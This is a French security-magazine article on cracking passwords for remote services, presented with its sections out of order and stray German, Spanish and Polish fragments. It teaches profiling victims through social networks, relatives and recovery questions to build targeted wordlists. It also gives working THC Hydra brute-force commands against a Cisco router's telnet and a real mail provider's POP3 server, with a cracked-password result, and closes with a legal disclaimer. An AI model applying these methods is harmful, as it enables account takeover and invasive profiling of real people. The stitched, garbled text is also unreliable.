passe nous voulons voler, propose 

une interface Web permettant 
d'enregistrer un nouvel utilisateur, il est 
conseillé de faire sa connaissance : 
elle pourra être une source 
d'informations précieuses relatives 
aux exigences et aux limites des 
mots de passe. Grâce à cette 
information, nous pouvons par 
exemple apprendre que les mots  
de passe des utilisateurs du système 
doivent contenir au moins un chiffre. 
Nous pourrons donc ensuite modifier 
le dictionnaire de mots de passe 
probables de sorte que toutes les 
entrées contiennent un chiffre au 
début ou à la fin (c'est la manière 
la plus probable utilisée par les 
utilisateurs pour remplir les exigences 
du système),

•  si nous avons des informations 
sur l'entreprise qui implémente le 
système donné, elles peuvent aussi 
être d'une grande aide. Si l'entreprise 
s'appelle par exemple Giga Web Soft , 
l'intrus peut ajouter au dictionnaire 
les logins et les mots de passe 
suivants : gigawebsoft:gigawebsoft , 
gigawebsoft:gigawebsoft1, gws:gws, 
gws:gws1, etc. ; il est fort probable que 
les développeurs ont créé pour eux-
mêmes un compte d'administrateur 
protégé par un mot de passe simple 
à retenir pour la durée de la mise en 
place. Les administrateurs peuvent en 
revanche oublier de désactiver ou de 
supprimer un tel compte.

Si nous avons des informations  
sur la personne dont le mot de  
passe au service donné nous 
voulons hacker, la situation est plus 
intéressante. En créant un dictionnaire 
de mots de passe potentiels, nous 
pouvons alors essayer de nous  
servir des faits suivants :

•  si nous connaissons les données 
personnelles du propriétaire du 

compte, nous pouvons ajouter des 
suites de caractères liés à son 
prénom ou nom ou sa date de 
naissance à la liste de mots de 
passe probables.

•  Si nous avons des informations 
sur les personnes proches du 
propriétaire du compte, nous 
pouvons vérifier les mots de passe 
liés aux données personnelles de 
l'épouse/l'époux, d'un(e) ami(e), etc.

•  certains utilisateurs savent que les 
données personnelles de leurs 
proches peuvent être trop faciles  
à deviner, ils choisissent donc pour 
leur mot de passe une suite de 
caractères liés aux faits connus pour 
un nombre restreint de personnes, 
par exemple, les prénoms des 
animaux domestiques, le nom de 
l'endroit préféré ou le prénom du 
premier amour de la période de 
l'école élémentaire.

Bien évidemment, il est conseillé de 
tester même ces combinaisons avec 
un chiffre au début et à la fin car c'est 
toujours la manière la plus fréquente de 
diversifier les mots de passe.

Il arrive souvent toutefois que l'intrus 
ne connaît pas bien la personne dont le 
compte il veut visiter. Il est possible d'avoir 
le prénom et le nom de l'administrateur du 
système informatique donné, du serveur 
ou de l'appareil réseau (nous pouvons 
parfois trouver ces informations sur le 
site Web de l'entreprise en question !) 
mais de n'avoir aucune autre donnée 
personnelle ni aucune information liée à 
la vie privée de cette personne. Il existe 
toutefois des méthodes permettant 
de faire connaissance des personnes 
complètement inconnues...

un (in)connu
Imaginons que nous avons réussi à 
trouver le prénom et le nom du propriétaire 
du compte dont le mot de passe nous 
cherchons. Comment créer un dictionnaire 
de mots de passe potentiels, contenant 
les mots de passe par défaut et le plus 
souvent employés ainsi que les suites 
avec des données personnelles de 
cette personne et de ses amis ? Il suffit 
de visiter les réseautages sociales (en Abbildung 6. Ein dezentral organisiertes Netzwerk (TCP/IP).
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anglais social network services), telles 
que Copains d'avant. Les portails de 
ce type permettent de rencontrer des 
contacts intéressants, de connaître des 
nouvelles personnes et de renouveler des 
connaissances d'avant. Malheureusement, 
pour que les autres puissent nous retrouver, 
nous sommes obligés de partager de 
nombreuses informations à notre sujet. Si 
nous ne connaissons que le prénom et le 
nom du propriétaire du compte attaqué 
et supposons qu'il fait partie des portails 
sociaux, nous pouvons recueillir une série 
de mots de passe potentiels. Premièrement, 
si la recherche retourne de nombreux 
utilisateurs avec le même prénom et nom, 
il faut déterminer de quel profil il s'agit. 
Nous pouvons nous focaliser alors sur le 
lieu de domicile (près de l'entreprise où la 
personne travaille) et la description de ce 
qu'elle fait comme travail. Si nous identifions 
le compte approprié sur le portail, nous 
pouvons recueillir de nombreux mots de 
passe potentiels d'après l'analyse du profil 
et de ses connaissances. À titre d'exemple, 
les mots de passe potentiels ainsi définis 
peuvent être les suivants :

•  pseudo de l'école,
•  nom de jeune fille (il arrive que les 

femmes mariées utilisent leur nom 
de jeune fille en tant que mot de 
passe pensant que peu de gens 
le connaissent dans leur nouvel 
environnement),

•  numéro de téléphone,
•  prénom de l'animal domestique 

préféré (si quelqu'un a un animal 
domestique, il a peut-être publié sa 
photo avec son prénom),

•  nom du lieu préféré (nous parcourons 
la galerie de photos à la recherche 
des photos avec une description 
adéquate),

•  données personnelles du meilleur 
ami ou d'une copine de l'enfance 
(nous parcourons la galerie de 
photos sentimentales avec des 
commentaires),

•  numéro de  la plaque 
d'immatriculation (ou marque/modèle) 
de la voiture, de la moto, etc. (il arrive 
que les utilisateurs publient dans les 
galeries les photos des véhicules 
qu'ils possèdent),

•  données personnelles des proches 
(époux/épouse, frères et soeurs, 
enfants) et des amis.

Afin de déterminer lesquels de contacts 
de la personne en question appartiennent 
à ses proches, il suffit en général 
d'analyser la galerie de photos et leurs 
descriptions et commentaires ajoutés au 
profil et photos par d'autres utilisateurs 
du portail. Lorsque nous avons déterminé 
le groupe de personnes proches, nous 
pouvons ajouter toutes les catégories de 
données susmentionnées (déterminées 
respectivement pour chaque personne) 
à la liste de mots de passe probables. 
Comme d'habitude, une bonne idée 
consiste à ajouter des combinaisons 
contenant un chiffre au début et à la fin de 
la suite, il est également conseillé d'ajouter 
des combinaisons écrites à l'envers. Tout 
dépend bien évidemment à quel degré 
notre dictionnaire de mots de passe 
probables doit être restreint (par exemple, 
en raison des limites appliquées sur le 
système donné concernant le nombre de 
connexions pendant une période définie). 

Si nous disposons d'autres données 

relatives au propriétaire du compte, 
il est possible aussi d'utiliser d'autres 
techniques pour recueillir des informations 
sur les mots de passe probables. Si par 
exemple nous connaissons l'adresse 
e-mail privée du propriétaire du compte 
attaqué, ouvert sur un serveur public, nous 
pouvons profiter de cette information. Il 
suffit d'utiliser le formulaire qui sert  
à récupérer un mot de passe oublié de 
la boîte e-mail. Si la question permettant 
de récupérer le mot de passe est assez 
simple (par exemple, le prénom de mon 
chien, le prénom de mon premier amour), 
nous pourrons peut-être récupérer le mot 
de passe de la boîte car nous avons le 
plus probablement trouvé les réponses  
à ces questions sur le portail social. Si 
nous sommes chanceux, le mot de passe 
du compte attaqué sera identique ou très 
similaire au mot de passe récupéré dans 
la boîte de messages électroniques. Ce 
n'est pas un secret que de nombreuses 
personnes utilisent toujours les mêmes 
mots de passe (ou très similaires). Même 
si le mot de passe du compte cible est 
différent, nous pouvons au moins avoir 
l'idée de mots de passe que la personne 
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utilise. Si nous réussirons à accéder 
(par exemple, à distance) à l'ordinateur 
utilisé par la personne en question, 
récupérer les informations sur les mots 
de passe employés est encore plus 
simple. Il suffit que l'intrus cracke le mot 
de passe du compte de cette personne 
dans le système Windows au moyen de 
la distribution Linux prévue à cet effet : 
Ophcrack. Il est également possible de 
découvrir les mots de passe employés 
dans les messageries instantanées. Tous 
ces points faciliteront bien évidemment  
à l'intrus de définir de manière précise les 
mots de passe potentiels lors de l'attaque 
du compte cible de l'utilisateur.

Afin de connaître les exemples 
de mots de passe employés par la 
personne analysée, l'intrus peut se 
servir des méthodes sociotechniques 
avancées. À titre d'exemple, s'il connaît 
les centres d'intérêt de la personne 
attaquée (le portail social est de nouveau 
très utile), il peut lui envoyer une invitation 
pour ouvrir un profil dans un forum 
thématique spécialement préparé. Cette 
démarche permettra d'apprendre quel 
type de mot de passe la personne utilise.

Comme vous pouvez le constater, 
un intrus ingénieux dispose de toute une 
gamme de possibilités pour déterminer 
une liste de mots de passe potentiels 
employés par la victime. Pour conclure la 
procédure d'attaque du type online que je 
propose, j'ai créé un schéma selon lequel 
l'intrus peut procéder à l'attaque (Figure 3).

Les exemples présentés ne 
constituent que quelques idées, 
les possibilités dans ce cadre sont 
quasiment illimitées. Après un processus 
fatigant pour créer un tel dictionnaire, il ne 
nous reste qu'à tester son efficacité.

Hydre fouinard
Munis du dictionnaire de mots de passe 
potentiels créé auparavant pour le système 
ou le service à cracker, il ne nous reste qu'à 
passer à l'attaque à proprement parler. 
Dans le cas d'attaques du type    online, 
le dictionnaire préparé peut contenir de 
plusieurs centaines jusqu'à plusieurs 
milliers d'entrées. Créer des dictionnaires 
plus grands n'a pas en général de sens 
en raison des limites susmentionnées 
présentes dans ce type d'attaques. Malgré 

cela, vérifier à la main toutes les possibilités 
via la méthode de la tentative manuelle 
de connexion au service distant n'a aucun 
sens. Dans les cas extrêmes, le processus 
durerait trop longtemps et il est possible de 
faire des erreurs en saisissant les mots de 
passe à la main. Par conséquent, la tentative 
serait peu crédible et prendrait beaucoup 
de temps. À cette étape, il faut donc opter 
pour un outil permettant d'effectuer des 
tentatives automatiques de connexion à des 
systèmes et services différents selon la liste 
de mots de passe donnée.

Il s'avère qu'un outil parfait pour ce 
faire a été créé par un groupe allemand 
de hackers agissant sous le nom de  
THC (en anglais The Hacker's Choice). 
THC Hydra est un programme 
permettant de tester assez rapidement 
les mots de passe à de nombreux 
services dif férents. Cet outil supporte 
plusieurs dizaines de protocoles dont les 
plus importants sont :

•  telnet,
•  ftp,
•  http,
•  https,
•  smb,
•  ms-sql,
•  mysql,
•  rsh,
•  snmp,
•  vnc,
•  pop3,
•  imap,
•  Cisco auth,
•  Cisco enable,
•  Cisco AAA.

Je pense qu'analyser tous les paramètres 
du programme n'a aucun sens. À la place, je 
propose de faire connaissance de plusieurs 
exemples d'une utilisation pratique de l'Hydre. 
Pour chacun des exemples présentés, nous 
sommes partis du principe que la liste 
de mots de passe potentiels du système 
attaqué avait été préparée à l'avance et 
enregistré dans le fichier slownik.txt.

Imaginons que notre objectif consiste 
à hacker le mot de passe du routeur Cisco 
que nous avions identifié auparavant 
à l'aide du scanneur Nmap. Le scan 
a démontré que cet outil permettait 
notamment à établir des connexions sur le 

23 port  TCP, donc il permettait une gestion 
texte via le protocole telnet. Afin de faire 
une tentative de hacker le mot de passe 
au compte par défaut appelé   cisco, il 
suffit de lancer l'Hydre avec les paramètres 
suivants : hydra adres_IP_celu telnet -s 23 
-v -l cisco -P /slownik.txt -e ns -t 36 (Figure 4).  
Le fichier de mots de passe potentiels 
utilisés dans ce cas-là contenait les mots 
de passe par défaut rencontrés dans 
le cas des appareils Cisco et plusieurs 
mots de passe employés le plus souvent. 
Au bout de quelques secondes, l'Hydre a 
terminé son travail en affichant le mot de 
passe trouvé pour le compte cisco. Dans 
ce cas, l'administrateur n'a pas supprimé 
le compte par défaut et n'a pas modifié 
le mot de passe y lié, ce qui a permis 
de déterminer à l'intrus les données 
permettant à se connecter au système. 
Comme vous pouvez le constater, il n'est 
pas difficile de gérer le programme Hydre. 
La signification de tous les paramètres 
d'appel est la suivante :

•  telnet – type du service pour lequel 
nous voulons tester les mots de 
passe,

•  -s 23 – numéro du port,
•  -l cisco – login pour lequel nous 

voulons tester les mots de passe,
•  -p /slownik.txt – mots de passe ou 

fichier avec une liste de mots de 
passe que nous voulons tester,

•  -e ns – activation du test des mots 
de passe vides ou identiques avec le 
login,

•  -t 36 – nombre de connexions 
simultanées au service attaqué.

Les concepteurs de cet outil ont opté pour 
une simplicité de gestion et ils ont même 
créé un patch graphique appelé HydraGTK. 
Dans ce cas-là, l'attaque avec une liste 
de mots de passe préparée auparavant 
se ramène à compléter les champs 
appropriés dans plusieurs onglets du 
programme et de charger la liste de mots 
de passe probables. En testant le patch 
graphique, j'ai effectué une attaque sur le 
service telnet travaillant dans l'imprimante 
réseau de l'entreprise HP. Sachant que le 
compte intégré s'appelle dans ce cas-là 
admin, j'ai commencé l'attaque. L'Hydre  
a déterminé de nouveau les données per- 
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mettant de se connecter à l'imprimante. Il 
s'est en effet avéré que le compte n'avait été 
protégé par aucun mot de passe (Figure 5).

Un autre exemple des fonctionnalités 
exceptionnelles de l'Hydre que je voudrais 
présenter en ensemble consiste à hacker 
le compte de la messagerie électronique 
disponible via le protocole pop3. Je 
suppose que l'intrus ne connaît que le 
nom du compte (jan.tajny – j'ai créé le 
compte à des fins du test) et le domaine 
(o2.pl). Il faut ici commencer par déterminer 
l'adresse IP du serveur de messagerie. 
Pour ce faire, il suffit de faire la commande 
ping poczta.o2.pl dans n'importe 
quel système d'exploitation. Le résultat de 
la commande doit contenir notamment 
l'adresse qui nous intéresse, donc la valeur : 
193.17.41.99. L'étape clé suivante consiste 
à générer le dictionnaire de mots de 
passe probables. Imaginons que l'intrus, 
qui connaît les types de mots de passe le 
plus souvent utilisé, a créé un dictionnaire 
contenant les mots de passe potentiels 
suivants (en se basant uniquement sur le 
nom du compte) :

•  jan.tajny,
•  tajny.jan,
•  jan.tajny1,
•  1jan.tajny,
•  tajny.jan1,
•  1tajny.jan,
•  jantajny,
•  tajnyjan,
•  jantajny1,
•  1jantajny,
•  tajnyjan1,
•  1tajnyjan.

Avec le dictionnaire de mots de passe 
potentiels préparé, il suffit de lancer 
l'Hydre avec les paramètres appropriés : 

hydra 193.17.41.99 pop3 -s 110 -v 

-l jan.tajny -P /slownik.txt -t 1 

-f. La signification des commutateurs est 
la même que dans l'exemple précédent. 
Cette fois-ci, nous attaquons le protocole 
pop3, autrement dit, le port 110/TCP. Les 
nouveautés sont deux : le nombre de 
tentatives (on peut dire, le nombre des têtes 
de l'hydre) des connexions simultanées 
restreint à une seule et le commutateur -f, 
qui force de terminer une opération après 
la première tentative réussie de connexion. 
L'objectif de tout cela consiste bien 
évidemment à éviter de bloquer la tentative 
lorsque nous dépassons les limites 
mises en place par le serveur distant sur 
le nombre de tentatives de connexions 
simultanées et répétées pendant une 
période définie. Avec le dictionnaire, l'Hydre 
réussira rapidement à trouver le mot de 
passe du compte et en informera avec un 
message adéquat :

[110] [pop3] host: 193.17.41.99

   login: jan.tajny   password:

 1jan.tajny.

Je n'ai présenté que trois exemples de 
l'utilisation pratique de l'Hydre. Si nous 
regardons toutefois la liste imposante de 
protocoles supportés par le programme, il 
est facile d'imaginer que peuvent faire des 
intrus ingénieux. Ce programme permet de 
tester les sites Web protégés par un mot de 
passe, il supporte les protocoles chiffrés, de 
messageries et de bases de données et 
ce n'est qu'une partie de ses fonctionnalités. 
L'Hydre est donc actuellement l'un des 
outils les plus menaçants utilisés par des 
hackers. Les administrateurs de systèmes 
informatiques pourraient eux aussi 
apprivoiser l'Hydre car ce programme 
est un outil précieux pour détecter les 

mots de passe faibles ou potentiellement 
dangereux, laissés quelque part dans 
les coins sombres des appareils et des 
programmes qu'ils administrent.

Conclusion
Pour terminer, je dois vous parler d'une 
chose importante. Les méthodes 
présentées pour trouver les mots de 
passe aux systèmes informatiques 
distants peuvent être employées 
légalement uniquement pour tester les 
faiblesses de nos propres systèmes ! 
Obtenir un accès aux systèmes 
informatiques étrangers est puni par la 
prison. Il ne faut donc en aucun cas utiliser 
les procédures présentées pour accéder 
aux réseaux et aux ordinateurs qui ne sont 
pas les nôtres.

J'espère que j'ai réussi à attirer 
l'attention des administrateurs sur la 
grande menace des mots de passe par 
défaut laissés et des mots de passe 
faciles à deviner. Tester les mots de passe 
par défaut et profiler les propriétaires de 
comptes pour créer une liste de mots de 
passe potentiels qu'ils utilisent sont bien 
évidemment des méthodes d'attaques 
des mots de passe pour les systèmes 
distants. Les attaques consistant à 
écouter les transmissions et les méthodes 
de plus en plus populaires du type man 
in the middle constituent des exemples 
d'autres techniques pour cracker les mots 
de passe  « online ». Mais c'est un sujet 
pour un article à part.

Il ne faut donc jamais oublier que les 
criminels informatiques connaissent les 
faiblesses humaines et en profiteront sans 
aucun état d'âme. De plus, il s'agit souvent 
de spécialistes qualifiés dans le domaine 
des protections techniques d'informations. 
Paradoxalement les outils qu'ils emploient, 
tels que THC Hydra, peuvent servir aux 
administrateurs pour se protéger contre les 
intrus car ils permettent de tester soi-même 
les faiblesses des systèmes administrés.

Karmic Koala VS Snow Leopard
Cada vez que aparece una 
nueva versión de Ubuntu, es 
decir cada seis meses, algunos 
sitios y revistas especializadas 

Sur le Net
•  http://nmap.org – Nmap,
•  http://www.phenoelit-us.org/dpl/dpl.html – Phenoelit 's Default Password List,
•  http://www.cirt.net/cgi-bin/passwd.pl – CIRT's Default Password List,
•  http://www.virus.org/default-password – Default Password Database,
•  http://www.openwall.com/passwords/wordlists/password.lst – les mots de passe le plus 

souvent utilisés
•  http://ophcrack.sourceforge.net – Ophcrack,
•  http://freeworld.thc.org – The Hacker's Choice Group,
•  http://freeworld.thc.org/thc-hydra – THC Hydra.
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Cet artiCle 
explique...
Les attaques permettant de 
hacker des mots de passe  
pour les services à distance,

Les outils qui servent à cracker 
les mots de passe online,

Les méthodes de profiling des 
propriétaires des comptes 
protégés par un mot de passe,

Les méthodes pour trouver des 
informations personnelles sur 
des inconnus,

Les principes de créer des mots 
de passe sécurisés.

Ce qu'il faut 
savoir...
Connaître les notions  
de l'ingénierie sociale,

Connaître les notions des 
méthodes pour faire des 
attaques simples sur le réseau,

Connaître les notions du 
fonctionnement et de l'utilisation 
des outils qui servent à analyser 
le réseau et les systèmes 
informatiques, tels que Nmap,

Connaître les notions du 
fonctionnement du protocole 
Telnet.

I l existe de nombreuses méthodes 
dif férentes pour cracker des mots de passe. 
Afin de choisir une méthode appropriée, 

il faut reposer sur une analyse de la tâche 
concrète. Nous distinguons deux types 
d'attaque de base relatifs aux mots de passe.

Les attaques du type offline se servent du 
fait d'avoir un accès direct au fichier chiffré  
(par exemple, les archives RAR, ZIP, etc. chiffrés) 
ou au fichier contenant les mots de passe 
chiffrés (par exemple, le fichier /etc/shadow 
dans les systèmes d'exploitation du type 
*NIX). Bien que récupérer les mots de passe 
directement sous forme chiffrée, donc retourner 
un algorithme qui génère les mots de passe 
codés, peut être difficile, voire impossible. 
Posséder les mots de passe sous cette forme 
ouvre la voie à plusieurs méthodes de l'attaque. 
Récupérer un mot de passe codé permet de 
définir un groupe de mots de passe probables, 
de générer leurs codes conformément  
à l'algorithme utilisé dans ce cas-là et ensuite 
de comparer tous les mots de passe codés  
au mot de passe cracké. Si le mot de passe 
codé est identique à un de mots de passe 
codés dans l'ensemble vérifié, nous avons 
réussi : nous avons trouvé le mot de passe 
recherché. La plupart d'algorithmes utilisés 
actuellement pour générer un mot de passe 
codé sont très rapides, grâce à quoi il est 
possible en une seconde de générer des 
centaines de milliers de mots de passe codés 

Proszę powiedzieć, 

et de les comparer à un modèle. Toute une 
gamme d'attaques a été basée sur ce principe : 
notamment les attaques par dictionnaire, les 
attaques qui vérifient toutes les combinaisons 
de mots de passe possibles (algorithmes de 
force) et les méthodes hybrides. Les attaques 
basées sur les tableaux arc-en-ciel constituent 
une réussite récente dans le domaine de 
crackage de mots de passe offline. L'idée est 
assez simple : cette méthode repose sur la 
génération d'une base contenant les couples 
<mots de passe, mot de passe codé> 
pour l'ensemble de mots de passe prévu. Les 
méthodes spéciales permettent d'enregistrer 
seulement certains mots de passe codés. 
Grâce à cette démarche, la base entière garde 
une taille raisonnable. Dans un tel cas, deviner 
un mot de passe dont le code est en notre 
possession, consiste à trouver dans la base 
le code identique et lire le mot de passe qui lui 
correspond. Ces méthodes sont très efficaces 
et très rapides. Il est possible en quelques 
secondes de cracker un mot de passe. Les 
méthodes traditionnelles de vérification de 
toutes les combinaisons possibles auraient 
besoin des jours, des mois, voire des années 
pour le faire.

Les attaques du type offline ont été 
présentées en détails dans notre magazine 
Hakin9 (numéro 1/2009) par Łukasz Ciesielski. 
Je voudrais parler en revanche dans cet article 
des attaques du type online. Les attaques de 

Degré de difficulté

Hacker  
les mots  
de passe
Figura 1. Selección de modo de arranque
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ce type peuvent être définies comme 
celles où la seule possibilité de vérifier 
si le mot de passe est correct consiste 
à tenter de se connecter au système 
attaqué. Les exemples de ces attaques : 
tentative d'attaquer un serveur FTP distant 
ou tentative d'obtenir le mot de passe  
à une boîte e-mail disponible via 
l'interface Web.

Dans ce type d'attaques, le 
processus de cracker le mot de passe 
est très complexe. Il en est ainsi car 
les situations où nous utilisons des 
méthodes du type online se caractérisent 
pas l'absence d'accès au mot de passe 
attaqué sous forme codé. Il est donc 
impossible d'opter pour les attaques par 
dictionnaire, de force, hybrides et pour 
celles qui reposent sur la base de mots 
de passe codés générées auparavant. 
Comment donc cracker un mot de 
passe lorsque nous ne disposons 
d'aucune donnée sur son sujet et nous 
ne pouvons pas accéder au système où 
ce mot de passe est stocké ? Il existe 
des méthodes, aussi bien techniques 
que non, dont l'utilisation simultanée 
permettra de cracker des mots de passe 
et leur efficacité peut être surprenante.

Magie noire ?
Comme je l'ai déjà mentionné, les 
attaques du type online se caractérisent 
par l'absence d'accès au mot de passe 
chiffré. Cette situation rend impossible 
l'utilisation de la plupart de méthodes 
traditionnelles pour cracker des mots 
de passe car elles se basent sur la 
génération et la comparaison des 
mots de passe codés. Ce n'est pas 
toutefois le seul problème qui se trouve 
devant un intrus. Comme le contact 
avec le système d'exploitation ou le 
service attaqué n'est possible que par 
l'intermédiaire d'un réseau (sous forme 
d'une tentative de connexion), vérifier 
une seule combinaison de mot de 
passe dure beaucoup plus longtemps 
qu'une opération similaire effectuée 
en local. Cela signifie donc que dans 
le cas d'attaques online, l'intrus est en 
général incapable de tester des millions 
ou des milliers de combinaisons de 
mots de passe. De plus, les milliers de 
tentatives de connexion envoyées au 

serveur par un réseau public peuvent 
attirer l'attention des systèmes réseau 
chargés de détecter des attaques NIDS 
(en anglais Network Intrusion Detection 
System) qui remarqueront la tentative 
d'attaque. Il arrive aussi souvent que les 
administrateurs définissent un nombre 
maximal de tentatives de connexion  
à un serveur ou service donné dans un 
intervalle défini, ce qui rend également 
impossible les tentatives massives de 
connexion à distance.

Les attaques du type online 
constituent pour un intrus un grand défi 
mais elles ne sont pas impossibles  
à réaliser. Un cracker peut dans un tel 
cas opter pour une méthode que nous 
pouvons appeler une méthode par 
dictionnaire modifiée avec l'utilisation des 
outils d'automatisation de la connexion  
à distance. L'idée est assez simple  
et consiste à générer un petit dictionnaire 
contenant seulement les mots de passe 
dont nous pensons qu'ils peuvent être 
utilisés dans le cas concret. Munis 
d'un dictionnaire ainsi préparé, nous 
utilisons ensuite les outils qui tenteront 
une connexion automatique au serveur 
ou service attaqué pour tous les mots 
testés. Au moment où l'une de tentatives 
réussit, le programme affichera le mot de 
passe correct pour le système attaqué.

Comme vous pouvez le constater, la 
partie la plus dif ficile de cette opération 
consiste à générer ce dictionnaire 
magique de mots de passe potentiels. 
Au premier abord, la tâche semble 
pratiquement impossible à faire car 

sur quoi nous baser pour deviner un 
mot de passe ? Je vous démontrerai 
dans un instant que cette tâche peut 
s'avérer étonnamment simple. Les 
connaissances strictement informatiques 
ne seront pas ici utiles. Il faut utiliser les 
statistiques, la psychologie appliquées  
et l'ingénierie sociale. Le plus grand allié 
de l'intrus est tout simplement la paresse 
et la négligence humaines...

Cracker la boîte noire
Lorsque nous n'avons aucune 
connaissance sur le serveur, le service 
ou le dispositif réseau (je parle ici 
également de connaissances sur les 
administrateurs) dont le mot de passe 
nous voulons avoir, nous parlons du 
crackage de la boîte noire (en anglais 
black box cracking). Il semble que 
créer un dictionnaire de mots de passe 
potentiels qui servirait aux tests suivants 
soit impossible dans une telle situation.

Remarquez toutefois que les serveurs 
d'aujourd'hui travaillent sous contrôle d'un 
des plusieurs systèmes d'exploitation 
couramment utilisés. Les applications 
Web utilisent généralement plusieurs 
moteurs les plus populaires. Les services 
sont proposés au moyen de plusieurs 
solutions populaires, commerciales ou 
gratuites. Enfin, les dispositifs réseau 
spécialisés, tels que les commutateurs 
ou les routeurs, proviennent en grande 
partie de plusieurs fabricants leaders. La 
conclusion : l'intrus rencontrera le plus 
probablement un environnement typique, 
il arrive rarement qu'une solution donnée 
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soit créée depuis les bases à la  
commande. Ensuite, nous pouvons 
remarquer que probablement toutes ces 
solutions (application Web, routeur, serveur 
de base de données, etc.) proposeront 
une interface permettant une gestion 
à distance. Il peut s'agir d'une interface 
disponible via le navigateur Internet, via 
une ligne de commandes, le protocole 
SNMP, etc. Ceci n'a pas d'importance. 
La chose la plus importante est que 
l'intrus est capable d'identifier une telle 
cible. Au moyen des techniques connues 
comme OS and Service Fingerprinting, 
nous sommes capables de recueillir 
une série d'informations sur la cible de 
l'attaque. La description détaillée des 
techniques d'empreinte digitale dépasse 
les cadres de cet article, je mentionnerai 
donc seulement que le scanneur réseau 
Nmap peut être très utile ici. Lorsque nous 
disposons des informations élémentaires 
sur le type du système d'exploitation, du 
dispositif ou du service, nous pouvons 
passer à la création de la liste de mots  
de passe potentiels.

Dans le cas de la boîte noire, la 
liste de mots de passe potentiels doit 
contenir dans un premier temps les mots 
de passe par défaut rencontrés dans la 
solution en question. Il arrive très souvent 

que les dispositifs ou les services ne 
soient pas correctement protégés. Les 
administrateurs laissent les comptes 
par défaut avec des mots de passe par 
défaut et les utilisent. Il peut également 
arriver que les administrateurs aient créé 
des comptes protégés par des mots 
de passe puissants et ils les utilisent 
pendant le travail mais ils ont oublié de 
désactiver les comptes intégrés par 
défaut. Il arrive aussi qu'un compte test 
(par exemple, test) ait été créé pour 
mettre en place et tester un nouveau 
service protégé par un mot de passe 
facile à retenir (par exemple, test aussi). 
Nous pouvons rencontrer des situations 
dans lesquelles un mot de passe 
vide est utilisé pendant les tests ! Ce 
choix doit bien évidemment faciliter les 
connexions fréquentes durant les tests 
du service. Il arrive malheureusement 
souvent qu'une fois le lancement final 
effectué, les administrateurs oublient de 
supprimer un tel compte.

Contrairement à de nombreux 
administrateurs, les hackers et les 
crackers connaissent très bien le 
problème de mots de passe par défaut 
ou utilisés dans les tests et ils profitent 
souvent de cette faille. Les groupes de 
hackers et de crackers créent même  

des listes spéciales de mots de passe 
où tout le monde peut trouver des mots 
de passe par défaut pour un appareil  
ou un programme donné. Le groupe 
connu sous le nom de Phenoelit  
a créé et actualise sans cesse une 
des plus grandes listes de ce type. En 
utilisant cette liste, les administrateurs 
peuvent vérifier si les mots de passe 
par défaut aux services et dispositifs 
dans leurs réseaux ne sont pas actifs. 
Malheureusement, les crackers peuvent 
aussi (et ils le font) utiliser cette base de 
mots de passe...

Dans un second temps, il faut 
prendre en considération les mots de 
passe susmentionnés employés lors des 
testes et les mots de passe utilisés le 
plus souvent. Si les mots de passe par 
défaut n'ont pas permis de se connecter 
à un service distant, le cracker peut 
encore vérifier les mots de passe utilisés 
le plus souvent. Les statistiques relatives 
aux mots de passe utilisés, démontrent 
clairement que les gens choisissent en 
général des mots de passe simples, 
faciles à retenir et qui se réfèrent  
à quelque chose qu'ils connaissent. Les 
listes de mots de passe le plus souvent 
utilisés sont bien évidemment aussi 
publiées sur Internet. À l'instar des mots 
de passe par défaut, ils peuvent être 
utilisés pour vérifier si le mot de passe 
que nous utilisons se trouve sur l'une 
de ces listes. Ces listes sont toutefois 
utilisées le plus probablement par des 
intrus pour créer des listes de mots de 
passe potentiels. Les mots de passe 
considérés le plus souvent comme le 
plus utilisés sont les suivants :

•  mot de passe vide (absence de mot 
de passe),

•  mot « mot de passe » ou 
« password »,

•  mot « admin » ou « administrateur »,
•  suite de caractères avoisinants sur 

le clavier par exemple « azerty » ou 
qsdf »,

•  mot de passe identique au nom du 
compte (login),

•  injure.

La plupart d'administrateurs se rendent 
compte du fait qu'il ne faut pas utiliser  
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les mots de passe employés le plus 
souvent et donc ils en choisissent un...  
et ils le modifient. Ils ajoutent le plus 
souvent un chiffre à la fin ou au début 
du mot de passe. Il s'agit le plus 
fréquemment d'un chiffre 1. Les crackers 
le savent bien évidemment et ils ajouteront 
à la liste de mots de passe probables 
les combinaisons comme : admin1, 
password1, ou bien 1asdf. 

Analysons un exemple de voler un 
mot de passe : une tentative de hacker un 
mot de passe pour un système travaillant 
sur une adresse IP concrète. Mis à part 
l'adresse IP, nous ne savons rien sur la 
cible de l'attaque, il s'agit donc du cas 
de crackage de la boîte noire. Munis 
uniquement de l'adresse IP, nous pouvons 
dans un premier temps essayer d'identifier 
le type du système qui fonctionne à 
l'adresse distante. Pour ce faire, il suffit 
de lancer le scanneur Nmap avec les 
paramètres suivants : nmap -A adresse_
IP_de_la_cible. Regardez le résultat du 
scan (Figure 1). Vous remarquerez que 
Nmap a identifié le système distant 
comme un routeur travaillant sous le 
contrôle du système d'exploitation IOS. 
Vous verrez aussi que l'adresse scannée 
supporte la liaison du type DSL dans 
le domaine tpnet.pl. Sous l'adresse IP 
choisie se cache donc le routeur de 
l'entreprise Cisco derrière lequel se trouve 
le plus probablement le réseau LAN 
de l'entreprise. Analysons la suite des 
résultats du scan : nous remarquerons les 
ports ouverts de l'appareil, en particulier 
23/TCP et 80/TCP. Les services telnet et 
les gestions ouverts à tous par le serveur 
Web intégré sont la preuve que l'appareil 
n'a pas été correctement protégé. Nous 
pouvons donc essayer de nous connecter 
à l'appareil via les interfaces ouvertes en 
utilisant les mots de passe par défaut 
(les données par défaut permettant de 
nous connecter au routeur Cisco, c'est 
en général : cisco:cisco) ou les mots de 
passe le plus fréquemment employés. Si 
nous sommes chanceux, nous réussirons 
à obtenir un accès complet à l'appareil.

Cracker la boîte grise
Si nous n'avons aucune donnée sur 
le système attaqué, les méthodes 
présentées ne sont pas bien évidemment Figure 3. Activation du crash dump 
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efficaces à 100 % et le succès dépendra 
d'une faiblesse éventuelle du mot 
de passe ou de la négligence de 
l'administrateur.

Cependant, l'intrus dispose très 
souvent d'un savoir partiel sur le 
service attaqué ou son administrateur/
propriétaire. Il en est ainsi car en général, 
il choisit une cible concrète de l'attaque 
et le choix n'est pas aléatoire. Lorsque 
nous disposons d'un savoir, aussi 
minime soit il, sur le système attaqué et 
les personnes y liées, nous parlons d'une 
attaque consistant à cracker une boîte 
grise (en anglais gray box cracking).

En créant un dictionnaire de mots 
de passe potentiels au système dont 
nous connaissons quelque chose, nous 
testerons dans un premier temps les 
possibilités présentées dan le cas d'une 
boîte noire.  Si les mots de passe par 
défaut et le plus souvent employés ne 
permettent pas de nous connecter au 
service attaqué, il faut alors nous servir 
du savoir relatif au système lui-même et 
